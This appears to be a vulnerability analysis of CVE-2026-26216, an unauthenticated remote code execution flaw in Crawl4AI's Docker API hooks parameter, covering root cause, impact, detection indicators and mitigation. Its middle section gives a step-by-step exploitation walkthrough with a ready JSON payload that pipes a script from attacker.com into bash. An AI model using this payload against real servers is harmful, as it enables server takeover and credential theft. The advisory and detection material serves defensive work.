CVE-2026-26216: 
Python vulnerability analysis and mitigation

CVE-2026-26216 is a critical remote code execution (RCE) vulnerability in Crawl4AI's Docker API deployment, classified as "Remote Code Execution in Docker API via Hooks Parameter." It affects all versions of Crawl4AI prior to 0.8.0 (vendor kidocode/crawl4ai). The vulnerability was discovered in December 2025 by Neo from ProjectDiscovery, disclosed via a GitHub Security Advisory on January 16, 2026, and published to NVD on February 12, 2026. It carries a CVSS v3.1 base score of 10.0 (Critical) and a CVSS v4.0 base score of 10.0 (Critical) (GitHub Advisory, Red Hat CVE).

The root cause is CWE-94 (Improper Control of Generation of Code / Code Injection): the /crawl API endpoint accepts a hooks parameter containing arbitrary Python code, which is executed server-side via Python's exec() function. Critically, the __import__ builtin was included in the sandbox's allowed_builtins within hook_manager.py, allowing attackers to import any Python module (e.g., os, subprocess) and execute system commands without restriction. No authentication is required to reach the endpoint, and exploitation requires only a single crafted HTTP POST request. The fix in v0.8.0 removed __import__ from allowed_builtins and disabled hooks by default (CRAWL4AI_HOOKS_ENABLED=false) (GitHub Advisory, Release Notes).

Successful exploitation grants an unauthenticated remote attacker full control of the affected server. Concrete consequences include arbitrary OS command execution, read/write access to the file system, exfiltration of sensitive data such as environment variables and API keys, and lateral movement to internal network services reachable from the Docker host. The CVSS scope is "Changed," reflecting that a compromise of the Crawl4AI container can impact resources beyond the vulnerable component itself (GitHub Advisory, Red Hat CVE).

As of the time of disclosure, no public proof-of-concept exploit code has been confirmed, and there is no evidence of active in-the-wild exploitation (Red Hat CVE). However, the attack vector is trivially simple — a single unauthenticated HTTP POST request — making weaponization straightforward for any attacker aware of the vulnerability. The EPSS score is approximately 0.265%, reflecting a currently low but non-negligible probability of exploitation in the near term. The vulnerability is not listed in the CISA KEV catalog at this time. The vulnerability was responsibly disclosed by Neo from ProjectDiscovery (GitHub Advisory).

1. Reconnaissance: Identify internet-facing Crawl4AI Docker API instances (default port typically 11235) using tools like Shodan or Censys, or by scanning for the /crawl endpoint. Confirm the version is prior to 0.8.0 by checking API responses or version endpoints.
2. Craft malicious payload: Construct a JSON POST body targeting the /crawl endpoint with a hooks parameter containing a Python async function that uses __import__ to load the os module and execute a system command:

{
  "urls": ["https://example.com"],
  "hooks": {
    "code": {
      "on_page_context_created": "async def hook(page, context, **kwargs):\n    __import__('os').system('curl http://attacker.com/shell.sh | bash')\n    return page"
    }
  }
}

3. Send the request: Submit the crafted POST request to http://<target>:<port>/crawl with Content-Type: application/json. No authentication headers are required.
4. Achieve code execution: The server's exec() call evaluates the hook code with __import__ available, executing the attacker's OS command as the process user running the Docker container.
5. Post-exploitation: Use the established foothold to exfiltrate environment variables (e.g., API keys), establish a reverse shell, read/write files, or pivot to internal network services accessible from the Docker host (GitHub Advisory, Release Notes).

• Network: Unexpected inbound HTTP POST requests to /crawl endpoint containing hooks and __import__ strings in the request body; outbound connections from the Crawl4AI Docker container to unknown external IPs (potential reverse shell or data exfiltration).
• Logs: API access logs showing POST requests to /crawl with large or unusual JSON payloads; error logs referencing exec() or hook_manager.py with unexpected module imports.
• Process: Unusual child processes spawned by the Crawl4AI Python process (e.g., bash, sh, curl, wget, python3) that are not part of normal crawling operations; unexpected network connections initiated by the container process.
• File System: New or modified files in the container's working directory or /tmp; presence of web shells, reverse shell scripts, or downloaded binaries; unexpected changes to environment variable files or configuration files.
• Environment: Evidence of environment variable enumeration (e.g., access to files like /proc/self/environ) or attempts to read credential files such as ~/.aws/credentials or application .env files.

The primary remediation is to upgrade Crawl4AI to version 0.8.0 or later, which removes __import__ from the hook sandbox's allowed builtins and disables hooks by default. If immediate upgrade is not possible, disable the Docker API entirely or block the /crawl endpoint at the network/firewall level. If hooks functionality is required after upgrading, it must be explicitly re-enabled via export CRAWL4AI_HOOKS_ENABLED=true — this should only be done in trusted, access-controlled environments. Additionally, implement network segmentation to restrict access to the Crawl4AI API to trusted clients only, and consider adding authentication (JWT is supported via jwt_enabled: true in config) (GitHub Advisory, Release Notes).

The vulnerability was discovered by Neo from ProjectDiscovery, who responsibly disclosed it to the Crawl4AI maintainers in December 2025; ProjectDiscovery published a blog post discussing the discovery process (ProjectDiscovery Blog). The Hacker Wire covered the vulnerability with an article titled "Crawl4AI RCE: Unauthenticated Code Execution via Python exec" and shared it on Mastodon, reflecting community interest in the severity of the unauthenticated RCE (The Hacker Wire). Security aggregators including VulnDB, INCIBE-CERT, and CCN-CERT also published advisories, indicating broad awareness across the European and international security community.